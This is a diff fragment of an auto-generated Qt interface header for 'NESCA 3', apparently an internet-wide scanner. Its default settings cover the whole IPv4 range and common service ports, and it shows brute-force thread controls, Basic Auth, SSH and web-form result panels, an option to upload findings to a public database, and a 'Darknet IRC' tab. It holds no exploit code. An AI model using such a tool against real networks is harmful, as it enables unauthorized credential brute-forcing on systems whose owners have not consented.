DataflowModeBut->raise(); + QWidget::setTabOrder(ipLine, portLine); + QWidget::setTabOrder(portLine, threadLine); + QWidget::setTabOrder(threadLine, lineEditStartIPDNS); + QWidget::setTabOrder(lineEditStartIPDNS, lineILVL); + QWidget::setTabOrder(lineILVL, lineEditPort); + QWidget::setTabOrder(lineEditPort, lineEditThread); + QWidget::setTabOrder(lineEditThread, lineTrackerSrv); + QWidget::setTabOrder(lineTrackerSrv, lineTrackerScr); + QWidget::setTabOrder(lineTrackerScr, linePersKey); + QWidget::setTabOrder(linePersKey, trackerOnOff); + QWidget::setTabOrder(trackerOnOff, tabMainWidget); + QWidget::setTabOrder(tabMainWidget, startScanButton_3); + QWidget::setTabOrder(startScanButton_3, startScanButton_4); + QWidget::setTabOrder(startScanButton_4, exitButton); + QWidget::setTabOrder(exitButton, dataText); + + retranslateUi(nesca_3Class); + + tabMainWidget->setCurrentIndex(0); + + + QMetaObject::connectSlotsByName(nesca_3Class); + } // setupUi + + void retranslateUi(QMainWindow *nesca_3Class) + { + nesca_3Class->setWindowTitle(QApplication::translate("nesca_3Class", "NESCA 3", 0)); + startScanButton_3->setText(QApplication::translate("nesca_3Class", "Start", 0)); + ipLine->setText(QApplication::translate("nesca_3Class", "1.1.1.1-255.255.255.255", 0)); + ipLine->setPlaceholderText(QApplication::translate("nesca_3Class", "000.000.000.000-255.255.255.255", 0)); + portLine->setText(QApplication::translate("nesca_3Class", "80,81,88,8080,8081,60001,60002,8008,8888,554,9000,441,4111,6667,3536,22,21", 0)); + portLine->setPlaceholderText(QApplication::translate("nesca_3Class", "80,81,8080,8888,21,6667,7000", 0)); + threadLine->setText(QApplication::translate("nesca_3Class", "200", 0)); + threadLine->setPlaceholderText(QApplication::translate("nesca_3Class", "100", 0)); + labelIPRange->setText(QApplication::translate("nesca_3Class", "IP RANGE", 0)); + labelIPPorts->setText(QApplication::translate("nesca_3Class", "PORTS", 0)); + labelIPThreads->setText(QApplication::translate("nesca_3Class", "THREADS", 0)); + labelIPTO->setText(QApplication::translate("nesca_3Class", "TIMEOUT", 0)); + iptoLine_value->setText(QApplication::translate("nesca_3Class", "3", 0)); + iptoLine_value->setPlaceholderText(QApplication::translate("nesca_3Class", "100", 0)); +#ifndef QT_NO_TOOLTIP + restoreDefaultPorts1->setToolTip(QApplication::translate("nesca_3Class", "Restore default ports", 0)); +#endif // QT_NO_TOOLTIP +#ifndef QT_NO_WHATSTHIS + restoreDefaultPorts1->setWhatsThis(QApplication::translate("nesca_3Class", "Restore default ports", 0)); +#endif // QT_NO_WHATSTHIS + restoreDefaultPorts1->setText(QApplication::translate("nesca_3Class", ":Default ports", 0)); + tabMainWidget->setTabText(tabMainWidget->indexOf(tab_4), QApplication::translate("nesca_3Class", "IP Scan", 0)); + lineEditStartIPDNS->setText(QApplication::translate("nesca_3Class", "[09][az][0-]", 0)); + lineEditStartIPDNS->setPlaceholderText(QApplication::translate("nesca_3Class", "[09][az][0-][09][az][0-]", 0)); + startScanButton_4->setText(QApplication::translate("nesca_3Class", "Start", 0)); + lineILVL->setText(QApplication::translate("nesca_3Class", ".mobi", 0)); + lineILVL->setPlaceholderText(QApplication::translate("nesca_3Class", ".mobi", 0)); + lineEditPort->setText(QApplication::translate("nesca_3Class", "80,81,88,8080,8081,60001,60002,8008,8888,554,9000,441,4111,6667,3536,22,21", 0)); + lineEditPort->setPlaceholderText(QApplication::translate("nesca_3Class", "80,81,8080,8888,21,6667,7000", 0)); + lineEditThread->setText(QApplication::translate("nesca_3Class", "30", 0)); + lineEditThread->setPlaceholderText(QApplication::translate("nesca_3Class", "100", 0)); + labelDNSRange->setText(QApplication::translate("nesca_3Class", "DNS RANGE", 0)); + labelDNSPorts->setText(QApplication::translate("nesca_3Class", "PORTS", 0)); + labelDNSThreads->setText(QApplication::translate("nesca_3Class", "THREADS", 0)); + labelIPTO_2->setText(QApplication::translate("nesca_3Class", "TIMEOUT", 0)); + iptoLine_value_2->setText(QApplication::translate("nesca_3Class", "2", 0)); + iptoLine_value_2->setPlaceholderText(QApplication::translate("nesca_3Class", "100", 0)); +#ifndef QT_NO_TOOLTIP + restoreDefaultPorts2->setToolTip(QApplication::translate("nesca_3Class", "Restore default ports", 0)); +#endif // QT_NO_TOOLTIP +#ifndef QT_NO_WHATSTHIS + restoreDefaultPorts2->setWhatsThis(QApplication::translate("nesca_3Class", "Restore default ports", 0)); +#endif // QT_NO_WHATSTHIS + restoreDefaultPorts2->setText(QApplication::translate("nesca_3Class", ":Default ports", 0)); + tabMainWidget->setTabText(tabMainWidget->indexOf(tab_5), QApplication::translate("nesca_3Class", "DNS Scan", 0)); + importButton->setText(QApplication::translate("nesca_3Class", "Import&&Scan", 0)); + labelIpRange_9->setText(QApplication::translate("nesca_3Class", "Please, read about the import file in do_not_read.txt.", 0)); + importThreads->setText(QApplication::translate("nesca_3Class", "200", 0)); + importThreads->setPlaceholderText(QApplication::translate("nesca_3Class", "100", 0)); + importPorts->setText(QApplication::translate("nesca_3Class", "80,81,88,8080,8081,60001,60002,8008,8888,554,9000,441,4111,6667,3536,22,21", 0)); + importPorts->setPlaceholderText(QApplication::translate("nesca_3Class", "80,81,8080,8888,21,6667,7000", 0)); + labelDNSThreads_2->setText(QApplication::translate("nesca_3Class", "THREADS", 0)); + labelDNSPorts_2->setText(QApplication::translate("nesca_3Class", "PORTS", 0)); + labelIPTO_3->setText(QApplication::translate("nesca_3Class", "TIMEOUT", 0)); + iptoLine_value_3->setText(QApplication::translate("nesca_3Class", "3", 0)); + iptoLine_value_3->setPlaceholderText(QApplication::translate("nesca_3Class", "100", 0)); +#ifndef QT_NO_TOOLTIP + restoreDefaultPorts3->setToolTip(QApplication::translate("nesca_3Class", "Restore default ports", 0)); +#endif // QT_NO_TOOLTIP +#ifndef QT_NO_WHATSTHIS + restoreDefaultPorts3->setWhatsThis(QApplication::translate("nesca_3Class", "Restore default ports", 0)); +#endif // QT_NO_WHATSTHIS + restoreDefaultPorts3->setText(QApplication::translate("nesca_3Class", ":Default ports", 0)); + tabMainWidget->setTabText(tabMainWidget->indexOf(tab_6), QApplication::translate("nesca_3Class", "Import", 0)); +#ifndef QT_NO_WHATSTHIS + trackerOnOff->setWhatsThis(QApplication::translate("nesca_3Class", "d3w.org database (NDB) collects all found sites for structuring and further analysis.", 0)); +#endif // QT_NO_WHATSTHIS + trackerOnOff->setText(QApplication::translate("nesca_3Class", "Send results to public NescaDatabase", 0)); + lineTrackerScr->setText(QApplication::translate("nesca_3Class", "/go/", 0)); + lineTrackerScr->setPlaceholderText(QApplication::translate("nesca_3Class", "Balancer script", 0)); + lineTrackerSrv->setText(QApplication::translate("nesca_3Class", "balancer.d3w.org", 0)); + lineTrackerSrv->setPlaceholderText(QApplication::translate("nesca_3Class", "Balancer url", 0)); + linePersKey->setText(QString()); + linePersKey->setPlaceholderText(QApplication::translate("nesca_3Class", "Your personal key here", 0)); + trcSrvPortLine->setText(QApplication::translate("nesca_3Class", "80", 0)); + trcSrvPortLine->setPlaceholderText(QApplication::translate("nesca_3Class", "Balancer port here", 0)); + checkKeyBut->setText(QApplication::translate("nesca_3Class", "Check key", 0)); +#ifndef QT_NO_WHATSTHIS + pingingOnOff->setWhatsThis(QApplication::translate("nesca_3Class", "Ping hosts before connection attempts.", 0)); +#endif // QT_NO_WHATSTHIS + pingingOnOff->setText(QApplication::translate("nesca_3Class", "Ping hosts", 0)); + pingingOnOff->setShortcut(QApplication::translate("nesca_3Class", "Ctrl+S", 0)); + PingTO->setText(QApplication::translate("nesca_3Class", "2000", 0)); + PingTO->setPlaceholderText(QApplication::translate("nesca_3Class", "100", 0)); + label->setText(QApplication::translate("nesca_3Class", "sec", 0)); + threadDelayBox->setText(QApplication::translate("nesca_3Class", "10", 0)); + threadDelayBox->setPlaceholderText(QApplication::translate("nesca_3Class", "100", 0)); + label_2->setText(QApplication::translate("nesca_3Class", "Thread delay:", 0)); + MaxBrutingThrLabel->setText(QApplication::translate("nesca_3Class", "Max bruting\n" +" threads:", 0)); + maxBrutingThrBox->setText(QApplication::translate("nesca_3Class", "200", 0)); + maxBrutingThrBox->setPlaceholderText(QApplication::translate("nesca_3Class", "100", 0)); +#ifndef QT_NO_WHATSTHIS + shuffle_onoff->setWhatsThis(QApplication::translate("nesca_3Class", "Shuffle ip-ranges before scan.", 0)); +#endif // QT_NO_WHATSTHIS + shuffle_onoff->setText(QApplication::translate("nesca_3Class", "Shuffle ip ranges", 0)); + shuffle_onoff->setShortcut(QApplication::translate("nesca_3Class", "Ctrl+S", 0)); +#ifndef QT_NO_TOOLTIP + systemProxyIP->setToolTip(QString()); +#endif // QT_NO_TOOLTIP + systemProxyIP->setText(QString()); + systemProxyIP->setPlaceholderText(QApplication::translate("nesca_3Class", "Proxy here", 0)); + systemProxyPort->setText(QApplication::translate("nesca_3Class", "3128", 0)); + systemProxyPort->setPlaceholderText(QApplication::translate("nesca_3Class", "Balancer port here", 0)); + tabMainWidget->setTabText(tabMainWidget->indexOf(tab), QApplication::translate("nesca_3Class", "NS-Track", 0)); + labelNesca_3->setText(QApplication::translate("nesca_3Class", "NESCA 3 :: Revealing the Unseen Horizon", 0)); + exitButton->setText(QApplication::translate("nesca_3Class", "X", 0)); + labelIpRange->setText(QApplication::translate("nesca_3Class", "Current IP:", 0)); + labelThreads->setText(QApplication::translate("nesca_3Class", "Threads:", 0)); + labelBaThreads->setText(QApplication::translate("nesca_3Class", "Brute threads:", 0)); + labelIpRange_Value->setText(QApplication::translate("nesca_3Class", "--", 0)); + labelThreads_Value->setText(QApplication::translate("nesca_3Class", "0/0", 0)); + labelBAThreads_Value->setText(QApplication::translate("nesca_3Class", "0", 0)); + labelIPS->setText(QApplication::translate("nesca_3Class", "IP/s:", 0)); + labelIPS_Value->setText(QApplication::translate("nesca_3Class", "0", 0)); + dataText->setHtml(QApplication::translate("nesca_3Class", "\n" +"\n" +"


", 0)); + labelParsed->setText(QApplication::translate("nesca_3Class", "Saved/Online:", 0)); + labelParsed_Value->setText(QApplication::translate("nesca_3Class", "0/0", 0)); + labelStatus->setText(QApplication::translate("nesca_3Class", "Status:", 0)); + labelStatus_Value->setText(QApplication::translate("nesca_3Class", "Idle", 0)); + labelTargetsLeft->setText(QApplication::translate("nesca_3Class", "Targets:", 0)); + labelTargetsLeft_Value->setText(QApplication::translate("nesca_3Class", "0", 0)); + RedLabel->setText(QString()); + YellowLabel->setText(QString()); + GreenLabel->setText(QString()); + BlueLabel->setText(QString()); + CyanLabel->setText(QString()); + PinkLabel->setText(QString()); + labelAnomaly->setText(QApplication::translate("nesca_3Class", "Anomalies", 0)); + labelBA->setText(QApplication::translate("nesca_3Class", "Basic Auth", 0)); + labelFiltered->setText(QApplication::translate("nesca_3Class", "Suspicious", 0)); + labelBads->setText(QApplication::translate("nesca_3Class", "WebForms", 0)); + labelOverloads->setText(QApplication::translate("nesca_3Class", "Overloads", 0)); + labelLowloads->setText(QApplication::translate("nesca_3Class", "Lowloads", 0)); + logoLabel->setText(QString()); + WhiteLabel->setText(QString()); + labelAlives->setText(QApplication::translate("nesca_3Class", "Alive", 0)); + me2ScanBut->setText(QApplication::translate("nesca_3Class", ":ME2 mode", 0)); + QoSScanBut->setText(QApplication::translate("nesca_3Class", ":QoS mode", 0)); + labelBadAddr->setText(QApplication::translate("nesca_3Class", "Offline:", 0)); + labelOffline_Value->setText(QApplication::translate("nesca_3Class", "0", 0)); + BAText->setHtml(QApplication::translate("nesca_3Class", "\n" +"\n" +"


", 0)); +#ifndef QT_NO_TOOLTIP + switcherBut->setToolTip(QApplication::translate("nesca_3Class", "Brute activity", 0)); +#endif // QT_NO_TOOLTIP +#ifndef QT_NO_WHATSTHIS + switcherBut->setWhatsThis(QApplication::translate("nesca_3Class", "Brute activity", 0)); +#endif // QT_NO_WHATSTHIS + switcherBut->setText(QApplication::translate("nesca_3Class", "<", 0)); + labelTracker->setText(QApplication::translate("nesca_3Class", "NS-Track:", 0)); + VoiceScanBut->setText(QApplication::translate("nesca_3Class", ":Voice mode", 0)); +#ifndef QT_NO_TOOLTIP + clearLogBut->setToolTip(QApplication::translate("nesca_3Class", "Clear logs", "Clear log")); +#endif // QT_NO_TOOLTIP +#ifndef QT_NO_WHATSTHIS + clearLogBut->setWhatsThis(QApplication::translate("nesca_3Class", "Clear logs", 0)); +#endif // QT_NO_WHATSTHIS + clearLogBut->setText(QApplication::translate("nesca_3Class", "X", 0)); + secretMessageBut_1->setText(QString()); + secretMessageBut_2->setText(QString()); + secretMessageBut_3->setText(QString()); + secretMessageBut_4->setText(QString()); + secretMessageBut_5->setText(QString()); + secretMessageBut_6->setText(QString()); + secretMessageBut_7->setText(QString()); + secretMessageBut_8->setText(QString()); + newMessageLabel->setText(QApplication::translate("nesca_3Class", "New message", 0)); + PieStatBut->setText(QApplication::translate("nesca_3Class", ":Pie statistics", 0)); + trayButton->setText(QApplication::translate("nesca_3Class", "_", 0)); + DredLabel->setText(QString()); + labelSSH->setText(QApplication::translate("nesca_3Class", "SSH", 0)); + rVerLabel->setText(QApplication::translate("nesca_3Class", "Outdated version", 0)); + NSTrackStatusLabel->setText(QString()); + ircServerBox->setText(QApplication::translate("nesca_3Class", "addr.ne.jp", 0)); + ircServerBox->setPlaceholderText(QApplication::translate("nesca_3Class", "IRC server here", 0)); +#ifndef QT_NO_TOOLTIP + shoutBox->setToolTip(QString()); +#endif // QT_NO_TOOLTIP + shoutBox->setText(QString()); + shoutBox->setPlaceholderText(QString()); + serverPortBox->setText(QApplication::translate("nesca_3Class", "6667", 0)); + serverPortBox->setPlaceholderText(QApplication::translate("nesca_3Class", "IRC port here", 0)); + ircNickBox->setText(QString()); + ircNickBox->setPlaceholderText(QApplication::translate("nesca_3Class", "Your nick here", 0)); + IRCConnectBut->setText(QApplication::translate("nesca_3Class", "Connect", 0)); + ircText->setHtml(QApplication::translate("nesca_3Class", "\n" +"\n" +"


", 0)); + ircProxy->setText(QString()); + ircProxy->setPlaceholderText(QApplication::translate("nesca_3Class", "Proxy here", 0)); + ircProxyPort->setText(QString()); + ircProxyPort->setPlaceholderText(QApplication::translate("nesca_3Class", "Proxy port here", 0)); + IRCCheckProxyBut->setText(QApplication::translate("nesca_3Class", "Check proxy", 0)); + ircRaw->setHtml(QApplication::translate("nesca_3Class", "\n" +"\n" +"


", 0)); +#ifndef QT_NO_TOOLTIP + nickShowBut->setToolTip(QApplication::translate("nesca_3Class", "Stalkers online", 0)); +#endif // QT_NO_TOOLTIP +#ifndef QT_NO_WHATSTHIS + nickShowBut->setWhatsThis(QApplication::translate("nesca_3Class", "Stalkers online", 0)); +#endif // QT_NO_WHATSTHIS + topicLine->setText(QString()); +#ifndef QT_NO_TOOLTIP + IRCUTFMode->setToolTip(QApplication::translate("nesca_3Class", "Codepage", 0)); +#endif // QT_NO_TOOLTIP +#ifndef QT_NO_WHATSTHIS + IRCUTFMode->setWhatsThis(QApplication::translate("nesca_3Class", "Codepage", 0)); +#endif // QT_NO_WHATSTHIS + IRCUTFMode->setText(QApplication::translate("nesca_3Class", "UTF-8", 0)); +#ifndef QT_NO_TOOLTIP + IRCCP1251Mode->setToolTip(QApplication::translate("nesca_3Class", "Codepage", 0)); +#endif // QT_NO_TOOLTIP +#ifndef QT_NO_WHATSTHIS + IRCCP1251Mode->setWhatsThis(QApplication::translate("nesca_3Class", "Codepage", 0)); +#endif // QT_NO_WHATSTHIS + IRCCP1251Mode->setText(QApplication::translate("nesca_3Class", " CP-1251", 0)); + labelIPRange_2->setText(QApplication::translate("nesca_3Class", "IRC SERVER", 0)); + labelIPRange_3->setText(QApplication::translate("nesca_3Class", "PROXY&PORT", 0)); + labelIPRange_4->setText(QApplication::translate("nesca_3Class", "NICK", 0)); + labelIPRange_5->setText(QApplication::translate("nesca_3Class", "TOPIC", 0)); +#ifndef QT_NO_TOOLTIP + DataflowModeBut->setToolTip(QApplication::translate("nesca_3Class", "Online datastream", 0)); +#endif // QT_NO_TOOLTIP +#ifndef QT_NO_WHATSTHIS + DataflowModeBut->setWhatsThis(QApplication::translate("nesca_3Class", "Online datastream", 0)); +#endif // QT_NO_WHATSTHIS + DataflowModeBut->setText(QApplication::translate("nesca_3Class", ":Dataflow", 0)); +#ifndef QT_NO_TOOLTIP + IRCModeBut->setToolTip(QApplication::translate("nesca_3Class", "Darknet IRC", 0)); +#endif // QT_NO_TOOLTIP +#ifndef QT_NO_WHATSTHIS + IRCModeBut->setWhatsThis(QApplication::translate("nesca_3Class", "Darknet IRC", 0)); +#endif // QT_NO_WHATSTHIS + IRCModeBut->setText(QApplication::translate("nesca_3Class", ":IRC", 0)); +#ifndef QT_NO_TOOLTIP + JobModeBut->setToolTip(QApplication::translate("nesca_3Class", "IP range distribution", 0)); +#endif // QT_NO_TOOLTIP +#ifndef QT_NO_WHATSTHIS + JobModeBut->setWhatsThis(QApplication::translate("nesca_3Class", "IP range distribution", 0)); +#endif // QT_NO_WHATSTHIS + JobModeBut->setText(QApplication::translate("nesca_3Class", ":Jobs", 0)); +#ifndef QT_NO_TOOLTIP + IRCModeChangerBut->setToolTip(QApplication::translate("nesca_3Class", "Raw or normal log view", 0)); +#endif // QT_NO_TOOLTIP +#ifndef QT_NO_WHATSTHIS + IRCModeChangerBut->setWhatsThis(QApplication::translate("nesca_3Class", "Raw or normal log view", 0)); +#endif // QT_NO_WHATSTHIS + IRCModeChangerBut->setText(QApplication::translate("nesca_3Class", ":IRC raw", 0)); + } // retranslateUi + +}; + +namespace Ui { + class nesca_3Class: public Ui_nesca_3Class {}; +} // namespace Ui + +QT_END_NAMESPACE + +#endif // UI_NESCA_3_H